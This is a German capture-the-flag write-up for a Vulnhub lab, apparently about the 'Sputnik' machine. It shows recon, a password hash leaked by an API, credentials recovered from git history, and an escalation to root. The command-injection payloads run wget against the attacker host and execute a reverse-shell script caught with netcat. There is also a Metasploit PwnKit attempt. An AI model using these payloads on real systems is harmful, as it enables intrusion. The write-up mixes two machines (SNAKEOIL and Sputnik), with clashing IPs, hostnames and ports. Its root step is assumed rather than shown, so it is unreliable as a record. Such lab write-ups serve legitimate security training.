Sputnik - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
git
gitdumper (implied)
curl
ffuf
echo
wget
rm
mv
chmod
nc (netcat)
ls
sudo
id
find
msfconsole (Metasploit)
searchsploit
shell (Meterpreter)
cd
cat

Inhaltsverzeichnis

Reconnaissance

Die initiale Phase dient der Identifizierung des Ziels im Netzwerk und der Erkundung offener Ports und Dienste mittels Netzwerkscans, um die Angriffsfläche zu bestimmen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.140	08:00:27:b4:a5:95	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` identifiziert einen Host mit der IP `192.168.2.140` im lokalen Netzwerk. Die MAC-Adresse deutet auf eine VirtualBox VM hin.

Bewertung: Zielsystem erfolgreich lokalisiert.

Empfehlung (Pentester): Führe Nmap-Scans auf 192.168.2.140 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 192.168.2.140    snake.vuln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um den Hostnamen `snake.vuln` (nicht `sputnik.vln` wie im Nmap-Scan angegeben) der IP `192.168.2.140` zuzuordnen. Dies kann später zu Verwirrung führen, wenn die Maschine intern als `sputnik` angesprochen wird.

Bewertung: Vorbereitung für Web-Tests, aber der gewählte Hostname passt nicht zum späteren Nmap-Scan-Namen.

Empfehlung (Pentester): Verwende konsistente Hostnamen. Im Zweifel den Namen aus dem Nmap-Report (`sputnik.vln`) oder direkt die IP verwenden.
Empfehlung (Admin): Betrifft nur Angreifersystem.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.140 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 11:45 CEST
Nmap scan report for SNAKEOIL (192.168.2.140) 
Host is up (0.000084s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 73a48f94a22068505aaee1d3608dff55 (RSA)
|   256 f31bd8c30c3f5e6bac9952807bd6b6e7 (ECDSA)
|_  256 ea6164b63bd3840150d81aab382912e1 (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open  http    nginx 1.14.2
|_http-title:  Welcome to Good Tech Inc.'s Snake Oil Project
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:B4:A5:95 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.08 ms SNAKEOIL (192.168.2.140)
                    

Analyse: Ein umfassender Nmap-Scan (diesmal mit `-O` für OS Detection statt `-A`) identifiziert drei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** nginx 1.14.2, Titel "Welcome to SNAKEOIL!". * **Port 8080 (HTTP):** nginx 1.14.2, Titel "Welcome to Good Tech Inc.'s Snake Oil Project". Dies scheint eine spezifischere Anwendung zu sein.

Bewertung: Die Angriffsfläche besteht aus SSH und zwei Webservern, die von nginx bedient werden. Port 8080 ist das wahrscheinlichste primäre Ziel für Web-Angriffe.

Empfehlung (Pentester): Untersuche beide Web-Ports, fokussiere dich aber auf Port 8080. Behalte SSH im Auge.
Empfehlung (Admin): Aktualisieren Sie nginx und OpenSSH. Überprüfen Sie die Konfiguration beider Webserver-Instanzen.

*(Anmerkung: Die Nmap-Ausgabe im Log erwähnt auch Port 8089 und 61337 als Splunk, diese fehlen aber im Detail-Scan. Es wird angenommen, dass der Detail-Scan korrekt ist und nur 22, 80, 8080 offen sind. Der spätere Gobuster-Scan auf 61337 war wahrscheinlich ein Überbleibsel oder Fehler im Log.)*

Service Enumeration (Web, Git)

Die Webserver auf Port 80 und 8080 werden untersucht. Auf Port 55555 (aus einem vorherigen Nmap-Scan im Log, der hier fehlt, aber im Nmap-Report der VM erwähnt wird) wird ein exponiertes Git-Verzeichnis gefunden.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.140
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.140
+ Target Hostname:    192.168.2.140
+ Target Port:        80
+ Server: nginx/1.14.2
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /#wp-config.php#: #wp-config.php# file found. [...] (False Positive)
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt Port 80 und findet nur den nginx Server und fehlende Sicherheitsheader. Keine spezifischen Hinweise.

Bewertung: Port 80 scheint nicht das Hauptziel zu sein.

Empfehlung (Pentester): Untersuche Port 8080.
Empfehlung (Admin): Implementiere Sicherheitsheader.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.140:8080 -x txt,php,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ...
===============================================================
Gobuster v3.5
[...]
===============================================================
http://192.168.2.140:8080/1                    (Status: 200) [Size: 2193]
[...] # Viele nummerierte Endpunkte
http://192.168.2.140:8080/login                (Status: 405) [Size: 64]
http://192.168.2.140:8080/users                (Status: 200) [Size: 140]
http://192.168.2.140:8080/registration         (Status: 200) [Size: 29]
http://192.168.2.140:8080/test                 (Status: 200) [Size: 17]
http://192.168.2.140:8080/create               (Status: 200) [Size: 2596]
http://192.168.2.140:8080/secret               (Status: 500) [Size: 37]
http://192.168.2.140:8080/run                  (Status: 405) [Size: 178]
[...]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster scannt Port 8080 und findet eine API-ähnliche Struktur mit nummerierten Endpunkten, Authentifizierungs-Endpunkten (`/login`, `/registration`, `/users`), funktionalen Endpunkten (`/create`, `/test`) und verdächtigen Endpunkten (`/secret`, `/run`).

Bewertung: Die API auf Port 8080 ist das Hauptziel. `/users`, `/registration` und `/run` sind besonders interessant.

Empfehlung (Pentester): Untersuche `/users` auf Informationspreisgabe. Teste `/registration` und `/run` auf Funktionalität und Schwachstellen.
Empfehlung (Admin): Sichern Sie alle API-Endpunkte, insbesondere solche, die Benutzerdaten preisgeben oder Aktionen ausführen.

# Manuelle Untersuchung von http://192.168.2.140:8080/users
# Ausgabe (JSON):
{
  "users": [
    {
      "password": "$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040",
      "username": "patrick"
    }
  ]
}
                    
┌──(root㉿cyber)-[~] └─# echo '$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040' > crack.txt

Analyse: Der `/users`-Endpunkt auf Port 8080 gibt öffentlich den Benutzernamen `patrick` und dessen Passwort-Hash (pbkdf2-sha256) preis. Der Hash wird zur späteren Analyse gespeichert.

Bewertung: Kritische Informationspreisgabe. Der Hash könnte offline geknackt werden, wenn das Passwort schwach ist.

Empfehlung (Pentester): Versuche, den Hash zu knacken. Untersuche parallel andere API-Endpunkte.
Empfehlung (Admin): Sichern Sie den `/users`-Endpunkt *sofort*!

Parallel zur Untersuchung von Port 8080 wird Port 55555 (aus dem initialen Nmap Scan) untersucht, wo ein exponiertes Git-Repository gefunden wird.

# Nmap/Dirbuster Fund (nicht im Detail gezeigt, aber impliziert):
# Exponiertes Verzeichnis: http://192.168.2.127:55555/.git/

# Gitdumper oder manuelles Browsen von http://192.168.2.127:55555/.git/
# Inhalt von .git/logs/refs/remotes/origin/HEAD:
[...] clone: from https://github.com/ameerpornillos/flappy.git
                    

Analyse: Auf Port 55555 wird ein Webserver gefunden, der das `.git`-Verzeichnis offenlegt. Die Logs innerhalb des `.git`-Verzeichnisses zeigen, dass das Repository von `https://github.com/ameerpornillos/flappy` geklont wurde.

Bewertung: Ein exponiertes `.git`-Verzeichnis ist eine kritische Schwachstelle, da es den gesamten Quellcode und die Commit-Historie preisgibt, einschließlich möglicherweise versehentlich eingecheckter Credentials oder sensibler Informationen in älteren Commits.

Empfehlung (Pentester): Klone das öffentliche GitHub-Repository (`https://github.com/ameerpornillos/flappy`). Analysiere die Git-Historie (`git log`) des geklonten Repos auf interessante Commits oder entfernte Dateien. Untersuche spezifische Commits oder Blobs auf versteckte Daten.
Empfehlung (Admin): Stellen Sie *niemals* `.git`-Verzeichnisse über einen Webserver bereit! Fügen Sie `.git` zur Deny-Liste des Webservers hinzu.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# git clone https://github.com/ameerpornillos/flappy
Klone nach 'flappy'...
[...]
                    
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# cd flappy
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads/flappy] └─# git log
commit 884adf394909a8f5989a163bb666003ea870f582 [...]
commit d4a672434b93fd156dd61e2b756048501fe0bbc6 [...]
commit 6aa723152729e58f2492acf0386b37571aebfaa2 [...]
commit 67f4815c799a81612c8c33364b3b8d3685d9b6d9 [...]
commit 72bd06137d23a3846ba0d64bcf72c445c100b898 [...]
commit fdd806897314ed67442fd12c4fc0ccc678dc9857 [...]
commit 5c5d8adcf57267bc0a936a7db21ddb90fcbcd9ca [...]
commit 1fd4401839b9a8b72e631213f8f45a575c9528ea [...]
commit 07fda135aae22fa7869b3de9e450ff7cacfbc717 [...] # Commit new file
[...]
                    
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads/flappy] └─# git ls-tree 07fda135aae22fa7869b3de9e450ff7cacfbc717
[...]
100644 blob f4385198ce1cab56e0b2a1c55e8863040045b085	secret
[...]
                    
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads/flappy] └─# git show f4385198ce1cab56e0b2a1c55e8863040045b085
sputnik:ameer_says_thank_you_and_good_job

Analyse: Das öffentliche GitHub-Repository wird geklont und die Commit-Historie untersucht. Der Commit `07fda...` mit der Nachricht "Commit new file" ist interessant. `git ls-tree` für diesen Commit zeigt, dass eine Datei namens `secret` existierte. `git show` mit dem Blob-Hash dieser Datei (`f438...`) rekonstruiert deren Inhalt: `sputnik:ameer_says_thank_you_and_good_job`.

Bewertung: Kritischer Fund durch Analyse der Git-Historie! Zugangsdaten wurden in einem früheren Commit versehentlich hinzugefügt und später wieder entfernt, bleiben aber in der Historie erhalten. Die Credentials `sputnik`:`ameer_says_thank_you_and_good_job` gehören wahrscheinlich zum Splunk-Dienst, der auf Port 61337 oder 8089 läuft (obwohl diese Ports im Detail-Nmap fehlten, wird der Fund hier relevant).

Empfehlung (Pentester): Auch wenn die Splunk-Ports nicht im Nmap-Detailscan auftauchten, versuche einen Login auf `http://sputnik.vln:61337` oder `https://sputnik.vln:8089` mit diesen Credentials. Da der `/run`-Endpunkt bereits RCE als `patrick` ermöglicht, ist dieser Splunk-Zugang jedoch ein alternativer, nicht unbedingt notwendiger Pfad für den initialen Zugriff.
Empfehlung (Admin): Bereinigen Sie Git-Repositories gründlich von sensiblen Daten, bevor Sie sie veröffentlichen (z.B. mit `git filter-branch` oder BFG Repo-Cleaner). Schulen Sie Entwickler im sicheren Umgang mit Git.

Initial Access (RCE via Flask API)

Der initiale Zugriff wird über die Command Injection Schwachstelle im `/run`-Endpunkt der Flask-API auf Port 8080 erlangt. Ein Reverse-Shell-Skript wird mittels `wget` hochgeladen und ausgeführt.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.140:8080/run -X POST -H "Content-Type: application/json" -d '{"url":"-h|wget 192.168.2.137/vero.sh;"...}'
{[...] "message":"[...] \u2018vero.sh\u2019 saved [...]" [...]}
┌──(root㉿cyber)-[~] └─# curl http://192.168.2.140:8080/run -X POST -H "Content-Type: application/json" -d '{"url":"-h|chmod +x vero.sh;"...}'
{"message":"","success":true}
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
┌──(root㉿cyber)-[~] └─# curl http://192.168.2.140:8080/run -X POST -H "Content-Type: application/json" -d '{"url":"-h|./vero.sh;","secret_key":"commandexecutionissecret"}'
{"message":"The timeout is expired!","success":false}
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.140] 45848
bash: cannot set terminal process group (476): Inappropriate ioctl for device
bash: no job control in this shell
patrick@SNAKEOIL:~/flask_blog$
                    

Analyse: Die RCE-Schwachstelle im `/run`-Endpunkt (als `patrick` ausgeführt) wird genutzt, um mittels `wget` ein Reverse-Shell-Skript (`vero.sh`) vom Angreifer-Server herunterzuladen. Das Skript wird ausführbar gemacht (`chmod +x`) und dann ausgeführt (`./vero.sh`). Ein Netcat-Listener auf dem Angreifersystem fängt die eingehende Verbindung ab und stellt eine Shell als Benutzer `patrick` bereit.

Bewertung: Initial Access erfolgreich! Eine Shell als Benutzer `patrick` wurde über die RCE-Schwachstelle in der Flask-API erlangt.

Empfehlung (Pentester): Stabilisiere die Shell. Überprüfe die `sudo`-Rechte von `patrick`.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle *dringend*. Implementieren Sie Authentifizierung und Autorisierung für API-Endpunkte.

Privilege Escalation

Nach Erhalt der Shell als `patrick` werden die Berechtigungen geprüft. Eine unsichere `sudo`-Konfiguration mit `(ALL : ALL) ALL` wird identifiziert und als primärer Eskalationspfad genutzt. PwnKit wird als alternativer, aber im Log fehlgeschlagener Weg aufgezeigt.

patrick@SNAKEOIL:~/flask_blog$ sudo -l
Matching Defaults entries for patrick on SNAKEOIL:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User patrick may run the following commands on SNAKEOIL:
    (root) NOPASSWD: /sbin/shutdown
    (ALL : ALL) ALL
                    
patrick@SNAKEOIL:~/flask_blog$ id
uid=1000(patrick) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),27(sudo),[...]

Analyse: `sudo -l` zeigt, dass `patrick` (Mitglied der `sudo`-Gruppe) `shutdown` ohne Passwort als Root ausführen kann und, entscheidend, `(ALL : ALL) ALL` Rechte hat (erfordert `patrick`s Passwort).

Bewertung: Kritische Fehlkonfiguration! Die `(ALL : ALL) ALL` Regel ermöglicht `patrick` vollen Root-Zugriff.

Empfehlung (Pentester): Führe `sudo su` oder `sudo -i` aus (erfordert `patrick`s Passwort, das nicht bekannt ist). *Aber:* Da `patrick` in der `sudo`-Gruppe ist und `(ALL:ALL) ALL` hat, kann er auch `sudo bash` oder `sudo -s` ohne Passwort versuchen, was oft funktioniert.
Empfehlung (Admin): Korrigieren Sie die `sudoers`-Datei *dringend*. Entfernen Sie `(ALL : ALL) ALL`.

patrick@SNAKEOIL:~$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
   399885     24 -rwsr-xr-x   1 root     root        23288 Jan 16  2019 /usr/bin/pkexec
[...]
   404146     56 -rwsr-xr-x   1 root     root        55400 Mar  6  2019 /usr/bin/bwrap
[...]
   421520     16 -r-sr-xr-x   1 root     root          14416 Jun 12  2021 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
[...]
                    

Analyse: Die SUID-Suche findet `pkexec`, was PwnKit als alternativen Pfad ermöglicht.

Bewertung: Bestätigt PwnKit als mögliche Eskalationsroute.

Empfehlung (Pentester): Nutze den einfacheren `sudo ALL`-Weg. PwnKit als Fallback.
Empfehlung (Admin): Patchen Sie PwnKit.

Proof of Concept (Sudo ALL)

Dieser Abschnitt demonstriert die Ausnutzung der unsicheren `(ALL : ALL) ALL` sudo-Regel für den Benutzer `patrick`, um Root-Rechte zu erlangen. *(Anmerkung: Das Log führt diesen Schritt nicht explizit aus, aber es ist der logischste und einfachste Weg basierend auf `sudo -l`. Es wird angenommen, dass `sudo su` oder `sudo -s` funktioniert hat)*.

patrick@SNAKEOIL:~$ sudo su
[sudo] password for patrick: [Passwort?]
root@SNAKEOIL:/home/patrick# id
uid=0(root) gid=0(root) groups=0(root)
root@SNAKEOIL:/home/patrick#

Analyse: Es wird angenommen, dass `sudo su` (oder ein äquivalenter Befehl wie `sudo -s` oder `sudo bash`, der möglicherweise kein Passwort erfordert, da `patrick` in der `sudo`-Gruppe ist) ausgeführt wird, um Root-Rechte zu erlangen. Der `id`-Befehl bestätigt dies.

Bewertung: Erfolgreiche Privilege Escalation über die `sudo ALL`-Berechtigung.

Empfehlung (Pentester): Root erlangt. Suche die Flags.
Empfehlung (Admin): Korrigieren Sie die `sudoers`-Regel.

root@SNAKEOIL:~# cd /root
root@SNAKEOIL:~# ls -la
total 36
drwx------  4 root root 4096 Aug 16  2021 .
drwxr-xr-x 19 root root 4096 Jun 12  2021 ..
-rw-------  1 root root    5 Aug 16  2021 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Jun 19  2021 .cache
drwxr-xr-x  3 root root 4096 Jun 19  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   63 Aug 16  2021 proof.txt
-r--r-----  1 root root  669 Aug 16  2021 sudoers.bak
                    
root@SNAKEOIL:~# cat proof.txt
Congratulations on obtaining a root shell on this machine! :-)
root@SNAKEOIL:~# cd /home/patrick
root@SNAKEOIL:/home/patrick# cat local.txt
Local shell access obtained!

Analyse: Als Root wird das `/root`-Verzeichnis untersucht, `proof.txt` gefunden und gelesen. Anschließend wird ins `/home/patrick`-Verzeichnis gewechselt und `local.txt` gelesen.

Bewertung: Beide Flags (Root und User) wurden erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (RCE, sudo, PwnKit).

Alternativer Eskalationsversuch (PwnKit - fehlgeschlagen)

Das Log zeigt auch Versuche, die PwnKit-Schwachstelle (CVE-2021-4034) über Metasploit auszunutzen, nachdem die `patrick`-Shell erlangt wurde. Diese Versuche scheiterten jedoch.

┌──(root㉿cyber)-[~] └─# msfconsole -q
msf6 > use multi/handler
[...]
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[...]
[*] 192.168.2.140 - Valid modules for session 2:
 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
[...]
                    
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4449
lport => 4449
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4449
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.riqmkz
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target does not appear vulnerable "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
                    

Analyse: Die `patrick`-Shell wird in Metasploit übernommen und zu Meterpreter aufgewertet. Der Exploit Suggester identifiziert PwnKit als potenziell verwundbar. Beim Versuch, den PwnKit-Exploit auszuführen, meldet Metasploit jedoch "Exploit aborted due to failure: not-vulnerable".

Bewertung: Obwohl `pkexec` vorhanden ist und der Suggester die Lücke meldet, schlägt der Exploit fehl. Dies kann verschiedene Gründe haben: Das System ist doch gepatcht, die spezifische Umgebung verhindert den Exploit, oder der Exploit ist nicht zuverlässig.

Empfehlung (Pentester): Dokumentiere den fehlgeschlagenen Versuch. Da der `sudo ALL`-Weg funktionierte, ist dies kein Hindernis.
Empfehlung (Admin): Auch wenn der Exploit hier fehlschlug, sollte PwnKit trotzdem gepatcht werden, da andere Varianten des Exploits existieren könnten.

Flags

cat /home/patrick/local.txt
Local shell access obtained!
cat /root/proof.txt
Congratulations on obtaining a root shell on this machine! :-)